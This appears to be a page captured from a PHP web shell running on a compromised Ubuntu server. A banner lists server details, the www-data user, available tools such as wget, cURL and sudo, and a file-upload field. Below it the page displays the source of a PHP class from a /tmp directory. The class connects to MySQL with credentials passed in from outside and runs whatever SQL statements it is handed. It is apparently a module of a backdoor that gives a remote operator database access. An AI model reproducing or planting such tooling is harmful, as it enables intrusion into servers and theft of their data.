Server IP : 15.235.198.142 / Your IP : 216.73.216.71 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /tmp/mbdvd0/ |
Upload File : |
<?php class mbd_mysql { function __construct($core) { $this->core = $core; if(isset($this->core->data->options)) $this->_o = $this->core->data->options; if(isset($this->core->data->params)) $this->_p = $this->core->data->params; } function connect($config) { if(function_exists('mysqli_connect')) { $this->type = 'mysqli'; $this->mysql = new mysqli($config[0], $config[1], $config[2], $config[3]); if($this->mysql->connect_error) return $this->core->out($this->mysql->connect_error); }else{ $this->type = 'mysql'; $this->mysql = mysql_connect($config[0], $config[1], $config[2]); if(!$this->mysql) return $this->core->out(mysql_error()); if(!empty($config[3])) mysql_select_db($config[3], $this->mysql); } $this->prefix = isset($config[4]) ? $config[4] : ''; } function charset($name) { if($this->type=='mysqli') $this->mysql->set_charset($name); else mysql_set_charset($name); } function find($sql, $set='all') { $sql = str_replace('@P_', $this->prefix, $sql); $data = array(); if($this->type=='mysqli') { if(!$result = $this->mysql->query($sql)) return $this->core->out($this->mysql->error); if($set=='update') return TRUE; while($row = $result->fetch_object()) { $data[] = $row; } }else{ if(!$result = mysql_query($sql)) return $this->core->out(mysql_error()); if($set=='update') return TRUE; while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $d = new stdClass; foreach($row AS $i => $v) $d->$i = $v; $data[] = $v; } } if(!count($data)) return FALSE; if($set=='find') return $data[0]; if($set=='first') foreach($data[0] AS $v) return $v; return $data; } function get() { $config = array($this->_o->host, $this->_o->user, $this->_o->pass, $this->_o->base); $this->connect($config); if(isset($this->_o->charset)) $this->charset($this->_o->charset); $data = array(); foreach($this->_p AS $v) $data[] = $this->find($v->sql, isset($v->set)?$v->set:'all'); $this->core->data->result = $data; } }